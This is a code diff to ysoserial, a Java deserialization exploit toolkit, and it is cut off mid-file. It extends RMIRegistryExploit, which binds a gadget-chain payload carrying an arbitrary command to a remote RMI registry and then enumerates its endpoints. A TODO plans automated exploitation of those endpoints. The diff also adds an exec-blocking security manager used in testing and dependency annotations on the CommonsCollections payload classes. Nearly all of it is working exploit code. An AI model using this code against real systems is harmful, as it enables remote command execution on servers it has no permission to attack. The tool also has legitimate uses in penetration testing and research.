diff --git a/pom.xml b/pom.xml
index bdbaab9..ee5cf36 100644
--- a/pom.xml
+++ b/pom.xml
@@ -88,7 +88,12 @@
2.1.1
pom
-
+
+ org.javassist
+ javassist
+ 3.19.0-GA
+
+
diff --git a/src/main/java/ysoserial/ExecBlockingSecurityManager.java b/src/main/java/ysoserial/ExecBlockingSecurityManager.java
new file mode 100644
index 0000000..042ca1f
--- /dev/null
+++ b/src/main/java/ysoserial/ExecBlockingSecurityManager.java
@@ -0,0 +1,44 @@
+package ysoserial;
+
+import java.security.Permission;
+import java.util.concurrent.Callable;
+
+public class ExecBlockingSecurityManager extends SecurityManager {
+ @Override
+ public void checkPermission(final Permission perm) { }
+
+ @Override
+ public void checkPermission(final Permission perm, final Object context) { }
+
+ public void checkExec(final String cmd) {
+ super.checkExec(cmd);
+ // throw a special exception to ensure we can detect exec() in the test
+ throw new ExecException(cmd);
+ };
+
+ @SuppressWarnings("serial")
+ public static class ExecException extends RuntimeException {
+ private final String cmd;
+ public ExecException(String cmd) { this.cmd = cmd; }
+ public String getCmd() { return cmd; }
+ }
+
+ public static void wrap(final Runnable runnable) throws Exception {
+ wrap(new Callable(){
+ public Void call() throws Exception {
+ runnable.run();
+ return null;
+ }
+ });
+ }
+
+ public static T wrap(final Callable callable) throws Exception {
+ SecurityManager sm = System.getSecurityManager();
+ System.setSecurityManager(new ExecBlockingSecurityManager());
+ try {
+ return callable.call();
+ } finally {
+ System.setSecurityManager(sm);
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java
index 9db1eb5..7f2ca55 100644
--- a/src/main/java/ysoserial/GeneratePayload.java
+++ b/src/main/java/ysoserial/GeneratePayload.java
@@ -38,7 +38,7 @@ public class GeneratePayload {
final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
objOut.writeObject(object);
- } catch (Exception e) {
+ } catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
diff --git a/src/main/java/ysoserial/RMIRegistryExploit.java b/src/main/java/ysoserial/RMIRegistryExploit.java
index a8d5286..fe319bc 100644
--- a/src/main/java/ysoserial/RMIRegistryExploit.java
+++ b/src/main/java/ysoserial/RMIRegistryExploit.java
@@ -3,21 +3,51 @@ package ysoserial;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
+import java.util.Arrays;
+import java.util.concurrent.Callable;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;
/*
- * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
+ * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
+ * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
+ *
+ * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
+ * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
*/
public class RMIRegistryExploit {
- public static void main(String[] args) throws Exception {
- Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
- String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
- Class extends ObjectPayload> payloadClass = (Class extends ObjectPayload>) Class.forName(className);
- Object payload = payloadClass.newInstance().getObject(args[3]);
- Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
- registry.bind("pwned", remote);
+ public static void main(final String[] args) throws Exception {
+ // ensure payload doesn't detonate during construction or deserialization
+ ExecBlockingSecurityManager.wrap(new Callable(){public Void call() throws Exception {
+ Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
+ String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
+ Class extends ObjectPayload> payloadClass = (Class extends ObjectPayload>) Class.forName(className);
+ Object payload = payloadClass.newInstance().getObject(args[3]);
+ Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
+ try {
+ registry.bind("pwned", remote);
+ } catch (Throwable e) {
+ e.printStackTrace();
+ }
+
+ try {
+ String[] names = registry.list();
+ for (String name : names) {
+ System.out.println("looking up '" + name + "'");
+ try {
+ Remote rem = registry.lookup(name);
+ System.out.println(Arrays.asList(rem.getClass().getInterfaces()));
+ } catch (Throwable e) {
+ e.printStackTrace();
+ }
+ }
+ } catch (Throwable e) {
+ e.printStackTrace();
+ }
+
+ return null;
+ }});
}
}
diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java
index 9839ef5..b4e8b92 100644
--- a/src/main/java/ysoserial/payloads/CommonsCollections1.java
+++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
+import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -37,6 +38,7 @@ import ysoserial.payloads.util.Reflections;
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload {
public InvocationHandler getObject(final String command) throws Exception {
@@ -70,7 +72,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
return handler;
}
- public static void main(final String[] args) {
+ public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
}
diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java
index 9854ef9..785457e 100644
--- a/src/main/java/ysoserial/payloads/CommonsCollections2.java
+++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java
@@ -6,7 +6,7 @@ import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
-import ysoserial.payloads.util.ClassFiles;
+import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -22,23 +22,14 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
-
- Requires:
- commons-collections4
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections2 implements ObjectPayload> {
public Queue